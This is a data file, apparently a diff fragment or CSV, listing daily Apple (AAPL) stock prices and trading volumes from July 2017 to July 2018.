-2017-07-13,145.5,148.49000549316406,145.44000244140625,147.77000427246094,142.3565216064453,25199400.0,AAPL
-2017-07-14,147.97000122070312,149.3300018310547,147.3300018310547,149.0399932861328,143.5799560546875,20132100.0,AAPL
-2017-07-17,148.82000732421875,150.89999389648438,148.57000732421875,149.55999755859375,144.0808868408203,23793500.0,AAPL
-2017-07-18,149.1999969482422,150.1300048828125,148.6699981689453,150.0800018310547,144.58187866210938,17868800.0,AAPL
-2017-07-19,150.47999572753906,151.4199981689453,149.9499969482422,151.02000427246094,145.4874267578125,20923000.0,AAPL
-2017-07-20,151.5,151.74000549316406,150.19000244140625,150.33999633789062,144.83233642578125,17243700.0,AAPL
-2017-07-21,149.99000549316406,150.44000244140625,148.8800048828125,150.27000427246094,144.76490783691406,26252600.0,AAPL
-2017-07-24,150.5800018310547,152.44000244140625,149.89999389648438,152.08999633789062,146.51824951171875,21493200.0,AAPL
-2017-07-25,151.8000030517578,153.83999633789062,151.8000030517578,152.74000549316406,147.14442443847656,18853900.0,AAPL
-2017-07-26,153.35000610351562,153.92999267578125,153.05999755859375,153.4600067138672,147.8380584716797,15781000.0,AAPL
-2017-07-27,153.75,153.99000549316406,147.3000030517578,150.55999755859375,145.04428100585938,32476300.0,AAPL
-2017-07-28,149.88999938964844,150.22999572753906,149.19000244140625,149.5,144.0231170654297,17213700.0,AAPL
-2017-07-31,149.89999389648438,150.3300018310547,148.1300048828125,148.72999572753906,143.28131103515625,19845900.0,AAPL
-2017-08-01,149.10000610351562,150.22000122070312,148.41000366210938,150.0500030517578,144.55296325683594,35368600.0,AAPL
-2017-08-02,159.27999877929688,159.75,156.16000366210938,157.13999938964844,151.3832244873047,69936800.0,AAPL
-2017-08-03,157.0500030517578,157.2100067138672,155.02000427246094,155.57000732421875,149.87074279785156,27097300.0,AAPL
-2017-08-04,156.07000732421875,157.39999389648438,155.69000244140625,156.38999938964844,150.6607208251953,20559900.0,AAPL
-2017-08-07,157.05999755859375,158.9199981689453,156.6699981689453,158.80999755859375,152.9920654296875,21870300.0,AAPL
-2017-08-08,158.60000610351562,161.8300018310547,158.27000427246094,160.0800018310547,154.2155303955078,36205900.0,AAPL
-2017-08-09,159.25999450683594,161.27000427246094,159.11000061035156,161.05999755859375,155.15960693359375,26131500.0,AAPL
-2017-08-10,159.89999389648438,160.0,154.6300048828125,155.32000732421875,150.21749877929688,40804300.0,AAPL
-2017-08-11,156.60000610351562,158.57000732421875,156.07000732421875,157.47999572753906,152.30654907226562,26257100.0,AAPL
-2017-08-14,159.32000732421875,160.2100067138672,158.75,159.85000610351562,154.59869384765625,22122700.0,AAPL
-2017-08-15,160.66000366210938,162.1999969482422,160.13999938964844,161.60000610351562,156.2911834716797,29465500.0,AAPL
-2017-08-16,161.94000244140625,162.50999450683594,160.14999389648438,160.9499969482422,155.6625213623047,27671600.0,AAPL
-2017-08-17,160.52000427246094,160.7100067138672,157.83999633789062,157.86000061035156,152.67405700683594,27940600.0,AAPL
-2017-08-18,157.86000061035156,159.5,156.72000122070312,157.5,152.32589721679688,27428100.0,AAPL
-2017-08-21,157.5,157.88999938964844,155.11000061035156,157.2100067138672,152.04542541503906,26368500.0,AAPL
-2017-08-22,158.22999572753906,160.0,158.02000427246094,159.77999877929688,154.53099060058594,21604600.0,AAPL
-2017-08-23,159.07000732421875,160.47000122070312,158.8800048828125,159.97999572753906,154.72439575195312,19399100.0,AAPL
-2017-08-24,160.42999267578125,160.74000549316406,158.5500030517578,159.27000427246094,154.03773498535156,19818900.0,AAPL
-2017-08-25,159.64999389648438,160.55999755859375,159.27000427246094,159.86000061035156,154.6083526611328,25480100.0,AAPL
-2017-08-28,160.13999938964844,162.0,159.92999267578125,161.47000122070312,156.1654510498047,25966000.0,AAPL
-2017-08-29,160.10000610351562,163.1199951171875,160.0,162.91000366210938,157.55816650390625,29516900.0,AAPL
-2017-08-30,163.8000030517578,163.88999938964844,162.61000061035156,163.35000610351562,157.98370361328125,27269600.0,AAPL
-2017-08-31,163.63999938964844,164.52000427246094,163.47999572753906,164.0,158.6123504638672,26785100.0,AAPL
-2017-09-01,164.8000030517578,164.94000244140625,163.6300048828125,164.0500030517578,158.66070556640625,16591100.0,AAPL
-2017-09-05,163.75,164.25,160.55999755859375,162.0800018310547,156.75543212890625,29468500.0,AAPL
-2017-09-06,162.7100067138672,162.99000549316406,160.52000427246094,161.91000366210938,156.5909881591797,21651700.0,AAPL
-2017-09-07,162.08999633789062,162.24000549316406,160.36000061035156,161.25999450683594,155.96234130859375,21928500.0,AAPL
-2017-09-08,160.86000061035156,161.14999389648438,158.52999877929688,158.6300048828125,153.4187774658203,28611500.0,AAPL
-2017-09-11,160.5,162.0500030517578,159.88999938964844,161.5,156.19448852539062,31580800.0,AAPL
-2017-09-12,162.61000061035156,163.9600067138672,158.77000427246094,160.86000061035156,155.5755157470703,71714000.0,AAPL
-2017-09-13,159.8699951171875,159.9600067138672,157.91000366210938,159.64999389648438,154.40525817871094,44907400.0,AAPL
-2017-09-14,158.99000549316406,159.39999389648438,158.08999633789062,158.27999877929688,153.0802459716797,23760700.0,AAPL
-2017-09-15,158.47000122070312,160.97000122070312,158.0,159.8800048828125,154.62770080566406,49114600.0,AAPL
-2017-09-18,160.11000061035156,160.5,158.0,158.6699981689453,153.4574432373047,28269400.0,AAPL
-2017-09-19,159.50999450683594,159.77000427246094,158.44000244140625,158.72999572753906,153.51547241210938,20810600.0,AAPL
-2017-09-20,157.89999389648438,158.25999450683594,153.8300018310547,156.07000732421875,150.94287109375,52951400.0,AAPL
-2017-09-21,155.8000030517578,155.8000030517578,152.75,153.38999938964844,148.35089111328125,37511700.0,AAPL
-2017-09-22,151.5399932861328,152.27000427246094,150.55999755859375,151.88999938964844,146.90017700195312,46645400.0,AAPL
-2017-09-25,149.99000549316406,151.8300018310547,149.16000366210938,150.5500030517578,145.6042022705078,44387300.0,AAPL
-2017-09-26,151.77999877929688,153.9199981689453,151.69000244140625,153.13999938964844,148.10911560058594,36660000.0,AAPL
-2017-09-27,153.8000030517578,154.72000122070312,153.5399932861328,154.22999572753906,149.16329956054688,25504200.0,AAPL
-2017-09-28,153.88999938964844,154.27999877929688,152.6999969482422,153.27999877929688,148.2445068359375,22005500.0,AAPL
-2017-09-29,153.2100067138672,154.1300048828125,152.0,154.1199951171875,149.05690002441406,26299800.0,AAPL
-2017-10-02,154.25999450683594,154.4499969482422,152.72000122070312,153.80999755859375,148.75711059570312,18698800.0,AAPL
-2017-10-03,154.00999450683594,155.08999633789062,153.91000366210938,154.47999572753906,149.4051055908203,16230300.0,AAPL
-2017-10-04,153.6300048828125,153.86000061035156,152.4600067138672,153.47999572753906,148.43795776367188,20163800.0,AAPL
-2017-10-05,154.17999267578125,155.44000244140625,154.0500030517578,155.38999938964844,150.28517150878906,21283800.0,AAPL
-2017-10-06,154.97000122070312,155.49000549316406,154.55999755859375,155.3000030517578,150.19813537597656,17407600.0,AAPL
-2017-10-09,155.80999755859375,156.72999572753906,155.49000549316406,155.83999633789062,150.72039794921875,16262900.0,AAPL
-2017-10-10,156.05999755859375,158.0,155.10000610351562,155.89999389648438,150.77842712402344,15617000.0,AAPL
-2017-10-11,155.97000122070312,156.97999572753906,155.75,156.5500030517578,151.4071044921875,16905600.0,AAPL
-2017-10-12,156.35000610351562,157.3699951171875,155.72999572753906,156.0,150.8751678466797,16125100.0,AAPL
-2017-10-13,156.72999572753906,157.27999877929688,156.41000366210938,156.99000549316406,151.8326416015625,16394200.0,AAPL
-2017-10-16,157.89999389648438,160.0,157.64999389648438,159.8800048828125,154.62770080566406,24121500.0,AAPL
-2017-10-17,159.77999877929688,160.8699951171875,159.22999572753906,160.47000122070312,155.1983184814453,18997300.0,AAPL
-2017-10-18,160.4199981689453,160.7100067138672,159.60000610351562,159.75999450683594,154.5116424560547,16374200.0,AAPL
-2017-10-19,156.75,157.0800018310547,155.02000427246094,155.97999572753906,150.85580444335938,42584200.0,AAPL
-2017-10-20,156.61000061035156,157.75,155.9600067138672,156.25,151.11695861816406,23974100.0,AAPL
-2017-10-23,156.88999938964844,157.69000244140625,155.5,156.1699981689453,151.03958129882812,21984300.0,AAPL
-2017-10-24,156.2899932861328,157.4199981689453,156.1999969482422,157.10000610351562,151.9390106201172,17757200.0,AAPL
-2017-10-25,156.91000366210938,157.5500030517578,155.27000427246094,156.41000366210938,151.2716827392578,21207100.0,AAPL
-2017-10-26,157.22999572753906,157.8300018310547,156.77999877929688,157.41000366210938,152.2388153076172,17000500.0,AAPL
-2017-10-27,159.2899932861328,163.60000610351562,158.6999969482422,163.0500030517578,157.69354248046875,44454200.0,AAPL
-2017-10-30,163.88999938964844,168.07000732421875,163.72000122070312,166.72000122070312,161.2429962158203,44700800.0,AAPL
-2017-10-31,167.89999389648438,169.64999389648438,166.94000244140625,169.0399932861328,163.48675537109375,36046800.0,AAPL
-2017-11-01,169.8699951171875,169.94000244140625,165.61000061035156,166.88999938964844,161.4073944091797,33637800.0,AAPL
-2017-11-02,166.60000610351562,168.5,165.27999877929688,168.11000061035156,162.5873260498047,41393400.0,AAPL
-2017-11-03,174.0,174.25999450683594,171.1199951171875,172.5,166.83311462402344,59398600.0,AAPL
-2017-11-06,172.3699951171875,174.99000549316406,171.72000122070312,174.25,168.52561950683594,35026300.0,AAPL
-2017-11-07,173.91000366210938,175.25,173.60000610351562,174.80999755859375,169.0672149658203,24361500.0,AAPL
-2017-11-08,174.66000366210938,176.24000549316406,174.3300018310547,176.24000549316406,170.45025634765625,24409500.0,AAPL
-2017-11-09,175.11000061035156,176.10000610351562,173.13999938964844,175.8800048828125,170.1020965576172,29482600.0,AAPL
-2017-11-10,175.11000061035156,175.3800048828125,174.27000427246094,174.6699981689453,169.53909301757812,25145500.0,AAPL
-2017-11-13,173.5,174.5,173.39999389648438,173.97000122070312,168.8596649169922,16982100.0,AAPL
-2017-11-14,173.0399932861328,173.47999572753906,171.17999267578125,171.33999633789062,166.30690002441406,24782500.0,AAPL
-2017-11-15,169.97000122070312,170.32000732421875,168.3800048828125,169.0800018310547,164.11328125,29158100.0,AAPL
-2017-11-16,171.17999267578125,171.8699951171875,170.3000030517578,171.10000610351562,166.073974609375,23637500.0,AAPL
-2017-11-17,171.0399932861328,171.38999938964844,169.63999938964844,170.14999389648438,165.15187072753906,21899500.0,AAPL
-2017-11-20,170.2899932861328,170.55999755859375,169.55999755859375,169.97999572753906,164.9868927001953,16262400.0,AAPL
-2017-11-21,170.77999877929688,173.6999969482422,170.77999877929688,173.13999938964844,168.0540313720703,25131300.0,AAPL
-2017-11-22,173.36000061035156,175.0,173.0500030517578,174.9600067138672,169.82058715820312,25588900.0,AAPL
-2017-11-24,175.10000610351562,175.5,174.64999389648438,174.97000122070312,169.83030700683594,14026700.0,AAPL
-2017-11-27,175.0500030517578,175.0800018310547,173.33999633789062,174.08999633789062,168.97613525390625,20716800.0,AAPL
-2017-11-28,174.3000030517578,174.8699951171875,171.86000061035156,173.07000732421875,167.98609924316406,26428800.0,AAPL
-2017-11-29,172.6300048828125,172.9199981689453,167.16000366210938,169.47999572753906,164.5015869140625,41666400.0,AAPL
-2017-11-30,170.42999267578125,172.13999938964844,168.44000244140625,171.85000610351562,166.8019561767578,41527200.0,AAPL
-2017-12-01,169.9499969482422,171.6699981689453,168.5,171.0500030517578,166.0254364013672,39759300.0,AAPL
-2017-12-04,172.47999572753906,172.6199951171875,169.6300048828125,169.8000030517578,164.8121337890625,32542400.0,AAPL
-2017-12-05,169.05999755859375,171.52000427246094,168.39999389648438,169.63999938964844,164.65684509277344,27350200.0,AAPL
-2017-12-06,167.5,170.1999969482422,166.4600067138672,169.00999450683594,164.04537963867188,28560000.0,AAPL
-2017-12-07,169.02999877929688,170.44000244140625,168.91000366210938,169.32000732421875,164.34629821777344,25673300.0,AAPL
-2017-12-08,170.49000549316406,171.0,168.82000732421875,169.3699951171875,164.394775390625,23355200.0,AAPL
-2017-12-11,169.1999969482422,172.88999938964844,168.7899932861328,172.6699981689453,167.5978546142578,35273800.0,AAPL
-2017-12-12,172.14999389648438,172.38999938964844,171.4600067138672,171.6999969482422,166.65635681152344,19409200.0,AAPL
-2017-12-13,172.5,173.5399932861328,172.0,172.27000427246094,167.20960998535156,23818400.0,AAPL
-2017-12-14,172.39999389648438,173.1300048828125,171.64999389648438,172.22000122070312,167.1610565185547,20476500.0,AAPL
-2017-12-15,173.6300048828125,174.1699981689453,172.4600067138672,173.97000122070312,168.8596649169922,40169300.0,AAPL
-2017-12-18,174.8800048828125,177.1999969482422,174.86000061035156,176.4199981689453,171.2377166748047,29421100.0,AAPL
-2017-12-19,175.02999877929688,175.38999938964844,174.08999633789062,174.5399932861328,169.41290283203125,27436400.0,AAPL
-2017-12-20,174.8699951171875,175.4199981689453,173.25,174.35000610351562,169.22850036621094,23475600.0,AAPL
-2017-12-21,174.1699981689453,176.02000427246094,174.10000610351562,175.00999450683594,169.86911010742188,20949900.0,AAPL
-2017-12-22,174.67999267578125,175.4199981689453,174.5,175.00999450683594,169.86911010742188,16349400.0,AAPL
-2017-12-26,170.8000030517578,171.47000122070312,169.67999267578125,170.57000732421875,165.55955505371094,33185500.0,AAPL
-2017-12-27,170.10000610351562,170.77999877929688,169.7100067138672,170.60000610351562,165.5886688232422,21498200.0,AAPL
-2017-12-28,171.0,171.85000610351562,170.47999572753906,171.0800018310547,166.05458068847656,16480200.0,AAPL
-2017-12-29,170.52000427246094,170.58999633789062,169.22000122070312,169.22999572753906,164.25889587402344,25999900.0,AAPL
-2018-01-02,170.16000366210938,172.3000030517578,169.25999450683594,172.25999450683594,167.19989013671875,25555900.0,AAPL
-2018-01-03,172.52999877929688,174.5500030517578,171.9600067138672,172.22999572753906,167.1707763671875,29517900.0,AAPL
-2018-01-04,172.5399932861328,173.47000122070312,172.0800018310547,173.02999877929688,167.947265625,22434600.0,AAPL
-2018-01-05,173.44000244140625,175.3699951171875,173.0500030517578,175.0,169.85940551757812,23660000.0,AAPL
-2018-01-08,174.35000610351562,175.61000061035156,173.92999267578125,174.35000610351562,169.22850036621094,20567800.0,AAPL
-2018-01-09,174.5500030517578,175.05999755859375,173.41000366210938,174.3300018310547,169.20909118652344,21584000.0,AAPL
-2018-01-10,173.16000366210938,174.3000030517578,173.0,174.2899932861328,169.17025756835938,23959900.0,AAPL
-2018-01-11,174.58999633789062,175.49000549316406,174.49000549316406,175.27999877929688,170.1311798095703,18667700.0,AAPL
-2018-01-12,176.17999267578125,177.36000061035156,175.64999389648438,177.08999633789062,171.88803100585938,25418100.0,AAPL
-2018-01-16,177.89999389648438,179.38999938964844,176.13999938964844,176.19000244140625,171.01446533203125,29565900.0,AAPL
-2018-01-17,176.14999389648438,179.25,175.07000732421875,179.10000610351562,173.83900451660156,34386800.0,AAPL
-2018-01-18,179.3699951171875,180.10000610351562,178.25,179.25999450683594,173.99429321289062,31193400.0,AAPL
-2018-01-19,178.61000061035156,179.5800018310547,177.41000366210938,178.4600067138672,173.21778869628906,32425100.0,AAPL
-2018-01-22,177.3000030517578,177.77999877929688,176.60000610351562,177.0,171.80067443847656,27108600.0,AAPL
-2018-01-23,177.3000030517578,179.44000244140625,176.82000732421875,177.0399932861328,171.83949279785156,32689100.0,AAPL
-2018-01-24,177.25,177.3000030517578,173.1999969482422,174.22000122070312,169.10232543945312,51105100.0,AAPL
-2018-01-25,174.50999450683594,174.9499969482422,170.52999877929688,171.11000061035156,166.08367919921875,41529000.0,AAPL
-2018-01-26,172.0,172.0,170.05999755859375,171.50999450683594,166.471923828125,39143000.0,AAPL
-2018-01-29,170.16000366210938,170.16000366210938,167.07000732421875,167.9600067138672,163.02621459960938,50640400.0,AAPL
-2018-01-30,165.52999877929688,167.3699951171875,164.6999969482422,166.97000122070312,162.06527709960938,46048200.0,AAPL
-2018-01-31,166.8699951171875,168.44000244140625,166.5,167.42999267578125,162.51177978515625,32478900.0,AAPL
-2018-02-01,167.1699981689453,168.6199951171875,166.75999450683594,167.77999877929688,162.8514862060547,47230800.0,AAPL
-2018-02-02,166.0,166.8000030517578,160.10000610351562,160.5,155.78536987304688,86593800.0,AAPL
-2018-02-05,159.10000610351562,163.8800048828125,156.0,156.49000549316406,151.89312744140625,72738500.0,AAPL
-2018-02-06,154.8300018310547,163.72000122070312,154.0,163.02999877929688,158.2410125732422,68243800.0,AAPL
-2018-02-07,163.08999633789062,163.39999389648438,159.07000732421875,159.5399932861328,154.85353088378906,51608600.0,AAPL
-2018-02-08,160.2899932861328,161.0,155.02999877929688,155.14999389648438,150.59249877929688,54390500.0,AAPL
-2018-02-09,157.07000732421875,157.88999938964844,150.24000549316406,156.41000366210938,152.43446350097656,70672600.0,AAPL
-2018-02-12,158.5,163.88999938964844,157.50999450683594,162.7100067138672,158.57432556152344,60819500.0,AAPL
-2018-02-13,161.9499969482422,164.75,161.64999389648438,164.33999633789062,160.16290283203125,32549200.0,AAPL
-2018-02-14,163.0399932861328,167.5399932861328,162.8800048828125,167.3699951171875,163.1158905029297,40644900.0,AAPL
-2018-02-15,169.7899932861328,173.08999633789062,169.0,172.99000549316406,168.59303283691406,51147200.0,AAPL
-2018-02-16,172.36000061035156,174.82000732421875,171.77000427246094,172.42999267578125,168.04727172851562,40176100.0,AAPL
-2018-02-20,172.0500030517578,174.25999450683594,171.4199981689453,171.85000610351562,167.48202514648438,33930500.0,AAPL
-2018-02-21,172.8300018310547,174.1199951171875,171.00999450683594,171.07000732421875,166.7218475341797,37471600.0,AAPL
-2018-02-22,171.8000030517578,173.9499969482422,171.7100067138672,172.5,168.11550903320312,30991900.0,AAPL
-2018-02-23,173.6699981689453,175.64999389648438,173.5399932861328,175.5,171.03924560546875,33812400.0,AAPL
-2018-02-26,176.35000610351562,179.38999938964844,176.2100067138672,178.97000122070312,174.42103576660156,38162200.0,AAPL
-2018-02-27,179.10000610351562,180.47999572753906,178.16000366210938,178.38999938964844,173.85580444335938,38928100.0,AAPL
-2018-02-28,179.25999450683594,180.6199951171875,178.0500030517578,178.1199951171875,173.59266662597656,37782100.0,AAPL
-2018-03-01,178.5399932861328,179.77999877929688,172.66000366210938,175.0,170.55194091796875,48802000.0,AAPL
-2018-03-02,172.8000030517578,176.3000030517578,172.4499969482422,176.2100067138672,171.73118591308594,38454000.0,AAPL
-2018-03-05,175.2100067138672,177.74000549316406,174.52000427246094,176.82000732421875,172.32571411132812,28401400.0,AAPL
-2018-03-06,177.91000366210938,178.25,176.1300048828125,176.6699981689453,172.17950439453125,23788500.0,AAPL
-2018-03-07,174.94000244140625,175.85000610351562,174.27000427246094,175.02999877929688,170.58120727539062,31703500.0,AAPL
-2018-03-08,175.47999572753906,177.1199951171875,175.07000732421875,176.94000244140625,172.44264221191406,23774100.0,AAPL
-2018-03-09,177.9600067138672,180.0,177.38999938964844,179.97999572753906,175.40536499023438,32185200.0,AAPL
-2018-03-12,180.2899932861328,182.38999938964844,180.2100067138672,181.72000122070312,177.10113525390625,32207100.0,AAPL
-2018-03-13,182.58999633789062,183.5,179.24000549316406,179.97000122070312,175.3956298828125,31693500.0,AAPL
-2018-03-14,180.32000732421875,180.52000427246094,177.80999755859375,178.44000244140625,173.9044952392578,29368400.0,AAPL
-2018-03-15,178.5,180.24000549316406,178.07000732421875,178.64999389648438,174.10916137695312,22743800.0,AAPL
-2018-03-16,178.64999389648438,179.1199951171875,177.6199951171875,178.02000427246094,173.4951934814453,39404700.0,AAPL
-2018-03-19,177.32000732421875,177.47000122070312,173.66000366210938,175.3000030517578,170.84434509277344,33446800.0,AAPL
-2018-03-20,175.24000549316406,176.8000030517578,174.94000244140625,175.24000549316406,170.78585815429688,19649400.0,AAPL
-2018-03-21,175.0399932861328,175.08999633789062,171.25999450683594,171.27000427246094,166.916748046875,37054900.0,AAPL
-2018-03-22,170.0,172.67999267578125,168.60000610351562,168.85000610351562,164.5582733154297,41490800.0,AAPL
-2018-03-23,168.38999938964844,169.9199981689453,164.94000244140625,164.94000244140625,160.7476348876953,41028800.0,AAPL
-2018-03-26,168.07000732421875,173.10000610351562,166.44000244140625,172.77000427246094,168.378662109375,37541200.0,AAPL
-2018-03-27,173.67999267578125,175.14999389648438,166.9199981689453,168.33999633789062,164.06121826171875,40922600.0,AAPL
-2018-03-28,167.25,170.02000427246094,165.19000244140625,166.47999572753906,162.24851989746094,41668500.0,AAPL
-2018-03-29,167.80999755859375,171.75,166.89999389648438,167.77999877929688,163.5154571533203,38398500.0,AAPL
-2018-04-02,166.63999938964844,168.94000244140625,164.47000122070312,166.67999267578125,162.44342041015625,37586800.0,AAPL
-2018-04-03,167.63999938964844,168.75,164.8800048828125,168.38999938964844,164.10997009277344,30278000.0,AAPL
-2018-04-04,164.8800048828125,172.00999450683594,164.77000427246094,171.61000061035156,167.2481231689453,34605500.0,AAPL
-2018-04-05,172.5800018310547,174.22999572753906,172.0800018310547,172.8000030517578,168.40786743164062,26933200.0,AAPL
-2018-04-06,170.97000122070312,172.47999572753906,168.1999969482422,168.3800048828125,164.10023498535156,35005300.0,AAPL
-2018-04-09,169.8800048828125,173.08999633789062,169.85000610351562,170.0500030517578,165.727783203125,29017700.0,AAPL
-2018-04-10,173.0,174.0,171.52999877929688,173.25,168.84645080566406,28408600.0,AAPL
-2018-04-11,172.22999572753906,173.9199981689453,171.6999969482422,172.44000244140625,168.05702209472656,22431600.0,AAPL
-2018-04-12,173.41000366210938,175.0,173.0399932861328,174.13999938964844,169.7138214111328,22889300.0,AAPL
-2018-04-13,174.77999877929688,175.83999633789062,173.85000610351562,174.72999572753906,170.28880310058594,25124300.0,AAPL
-2018-04-16,175.02999877929688,176.19000244140625,174.8300018310547,175.82000732421875,171.3511199951172,21578400.0,AAPL
-2018-04-17,176.49000549316406,178.94000244140625,176.41000366210938,178.24000549316406,173.7095947265625,26605400.0,AAPL
-2018-04-18,177.80999755859375,178.82000732421875,176.8800048828125,177.83999633789062,173.31976318359375,20754500.0,AAPL
-2018-04-19,173.75999450683594,175.38999938964844,172.66000366210938,172.8000030517578,168.40786743164062,34808800.0,AAPL
-2018-04-20,170.60000610351562,171.22000122070312,165.42999267578125,165.72000122070312,161.5078125,65491100.0,AAPL
-2018-04-23,166.8300018310547,166.9199981689453,164.08999633789062,165.24000549316406,161.0400390625,36515500.0,AAPL
-2018-04-24,165.6699981689453,166.3300018310547,161.22000122070312,162.94000244140625,158.79849243164062,33692000.0,AAPL
-2018-04-25,162.6199951171875,165.4199981689453,162.41000366210938,163.64999389648438,159.4904327392578,28382100.0,AAPL
-2018-04-26,164.1199951171875,165.72999572753906,163.3699951171875,164.22000122070312,160.04595947265625,27963000.0,AAPL
-2018-04-27,164.0,164.3300018310547,160.6300048828125,162.32000732421875,158.19424438476562,35655800.0,AAPL
-2018-04-30,162.1300048828125,167.25999450683594,161.83999633789062,165.25999450683594,161.05950927734375,42427400.0,AAPL
-2018-05-01,166.41000366210938,169.1999969482422,165.27000427246094,169.10000610351562,164.80189514160156,53569400.0,AAPL
-2018-05-02,175.22999572753906,177.75,173.8000030517578,176.57000732421875,172.08206176757812,66539400.0,AAPL
-2018-05-03,175.8800048828125,177.5,174.44000244140625,176.88999938964844,172.39390563964844,34068200.0,AAPL
-2018-05-04,178.25,184.25,178.1699981689453,183.8300018310547,179.1575164794922,56201300.0,AAPL
-2018-05-07,185.17999267578125,187.6699981689453,184.75,185.16000366210938,180.45372009277344,42451400.0,AAPL
-2018-05-08,184.99000549316406,186.22000122070312,183.6699981689453,186.0500030517578,181.3210906982422,28402800.0,AAPL
-2018-05-09,186.5500030517578,187.39999389648438,185.22000122070312,187.36000061035156,182.59779357910156,23211200.0,AAPL
-2018-05-10,187.74000549316406,190.3699951171875,187.64999389648438,190.0399932861328,185.2096710205078,27989300.0,AAPL
-2018-05-11,189.49000549316406,190.05999755859375,187.4499969482422,188.58999633789062,184.50526428222656,26212200.0,AAPL
-2018-05-14,189.00999450683594,189.52999877929688,187.86000061035156,188.14999389648438,184.07479858398438,20778800.0,AAPL
-2018-05-15,186.77999877929688,187.07000732421875,185.10000610351562,186.44000244140625,182.40184020996094,23695200.0,AAPL
-2018-05-16,186.07000732421875,188.4600067138672,186.0,188.17999267578125,184.10414123535156,19183100.0,AAPL
-2018-05-17,188.0,188.91000366210938,186.36000061035156,186.99000549316406,182.93992614746094,17294000.0,AAPL
-2018-05-18,187.19000244140625,187.80999755859375,186.1300048828125,186.30999755859375,182.27464294433594,18297700.0,AAPL
-2018-05-21,188.0,189.27000427246094,186.91000366210938,187.6300048828125,183.56607055664062,18400800.0,AAPL
-2018-05-22,188.3800048828125,188.8800048828125,186.77999877929688,187.16000366210938,183.10621643066406,15240700.0,AAPL
-2018-05-23,186.35000610351562,188.5,185.75999450683594,188.36000061035156,184.2802734375,20058400.0,AAPL
-2018-05-24,188.77000427246094,188.83999633789062,186.2100067138672,188.14999389648438,184.07479858398438,23234000.0,AAPL
-2018-05-25,188.22999572753906,189.64999389648438,187.64999389648438,188.5800018310547,184.49549865722656,17461000.0,AAPL
-2018-05-29,187.60000610351562,188.75,186.8699951171875,187.89999389648438,183.83023071289062,22514100.0,AAPL
-2018-05-30,187.72000122070312,188.0,186.77999877929688,187.5,183.4388885498047,18690500.0,AAPL
-2018-05-31,187.22000122070312,188.22999572753906,186.13999938964844,186.8699951171875,182.822509765625,27482800.0,AAPL
-2018-06-01,187.99000549316406,190.25999450683594,187.75,190.24000549316406,186.1195068359375,23442500.0,AAPL
-2018-06-04,191.63999938964844,193.4199981689453,191.35000610351562,191.8300018310547,187.6750946044922,26266200.0,AAPL
-2018-06-05,193.07000732421875,193.94000244140625,192.36000061035156,193.30999755859375,189.12303161621094,21566000.0,AAPL
-2018-06-06,193.6300048828125,194.0800018310547,191.9199981689453,193.97999572753906,189.7785186767578,20933600.0,AAPL
-2018-06-07,194.13999938964844,194.1999969482422,192.33999633789062,193.4600067138672,189.26980590820312,21347200.0,AAPL
-2018-06-08,191.1699981689453,192.0,189.77000427246094,191.6999969482422,187.54791259765625,26656800.0,AAPL
-2018-06-11,191.35000610351562,191.97000122070312,190.2100067138672,191.22999572753906,187.0880889892578,18308500.0,AAPL
-2018-06-12,191.38999938964844,192.61000061035156,191.14999389648438,192.27999877929688,188.11534118652344,16911100.0,AAPL
-2018-06-13,192.4199981689453,192.8800048828125,190.44000244140625,190.6999969482422,186.56956481933594,21638400.0,AAPL
-2018-06-14,191.5500030517578,191.57000732421875,190.22000122070312,190.8000030517578,186.6674041748047,21610100.0,AAPL
-2018-06-15,190.02999877929688,190.16000366210938,188.25999450683594,188.83999633789062,184.74986267089844,61719200.0,AAPL
-2018-06-18,187.8800048828125,189.22000122070312,187.1999969482422,188.74000549316406,184.65200805664062,18484900.0,AAPL
-2018-06-19,185.13999938964844,186.3300018310547,183.4499969482422,185.69000244140625,181.66807556152344,33578500.0,AAPL
-2018-06-20,186.35000610351562,187.1999969482422,185.72999572753906,186.5,182.46054077148438,20628700.0,AAPL
-2018-06-21,187.25,188.35000610351562,184.94000244140625,185.4600067138672,181.4430694580078,25711900.0,AAPL
-2018-06-22,186.1199951171875,186.14999389648438,184.6999969482422,184.9199981689453,180.9147491455078,27200400.0,AAPL
-2018-06-25,183.39999389648438,184.9199981689453,180.72999572753906,182.1699981689453,178.22430419921875,31663100.0,AAPL
-2018-06-26,182.99000549316406,186.52999877929688,182.5399932861328,184.42999267578125,180.4353790283203,24569200.0,AAPL
-2018-06-27,185.22999572753906,187.27999877929688,184.02999877929688,184.16000366210938,180.1712188720703,25285300.0,AAPL
-2018-06-28,184.10000610351562,186.2100067138672,183.8000030517578,185.5,181.48220825195312,17365200.0,AAPL
-2018-06-29,186.2899932861328,187.19000244140625,182.91000366210938,185.11000061035156,181.10064697265625,22737700.0,AAPL
-2018-07-02,183.82000732421875,187.3000030517578,183.4199981689453,187.17999267578125,183.1258087158203,17731300.0,AAPL
-2018-07-03,187.7899932861328,187.9499969482422,183.5399932861328,183.9199981689453,179.93641662597656,13954800.0,AAPL
-2018-07-05,185.25999450683594,186.41000366210938,184.27999877929688,185.39999389648438,181.3843536376953,16604200.0,AAPL
-2018-07-06,185.4199981689453,188.42999267578125,185.1999969482422,187.97000122070312,183.898681640625,17485200.0,AAPL
-2018-07-09,189.5,190.67999267578125,189.3000030517578,190.5800018310547,186.45216369628906,19756600.0,AAPL
-2018-07-10,190.7100067138672,191.27999877929688,190.17999267578125,190.35000610351562,186.2271728515625,15939100.0,AAPL
-2018-07-11,188.5,189.77999877929688,187.61000061035156,187.8800048828125,183.81063842773438,18831500.0,AAPL
-2018-07-12,189.52999877929688,191.41000366210938,189.30999755859375,191.02999877929688,186.8924102783203,18041100.0,AAPL
-2018-07-13,191.0800018310547,191.83999633789062,190.89999389648438,191.3300018310547,187.18589782714844,12513900.0,AAPL
-2018-07-16,191.52000427246094,192.64999389648438,190.4199981689453,190.91000366210938,186.7750244140625,15043100.0,AAPL
-2018-07-17,189.75,191.8699951171875,189.1999969482422,191.4499969482422,187.3032989501953,15534500.0,AAPL
-2018-07-18,191.77999877929688,191.8000030517578,189.92999267578125,190.39999389648438,186.2760467529297,16393400.0,AAPL
-2018-07-19,189.69000244140625,192.5500030517578,189.69000244140625,191.8800048828125,187.72402954101562,20286800.0,AAPL
-2018-07-20,191.77999877929688,192.42999267578125,190.1699981689453,191.44000244140625,187.29356384277344,20676200.0,AAPL
-2018-07-23,190.67999267578125,191.9600067138672,189.55999755859375,191.61000061035156,187.4598388671875,15989400.0,AAPL
-2018-07-24,192.4499969482422,193.66000366210938,192.0500030517578,193.0,188.8197479248047,18697900.0,AAPL
-2018-07-25,193.05999755859375,194.85000610351562,192.42999267578125,194.82000732421875,190.600341796875,16709900.0,AAPL
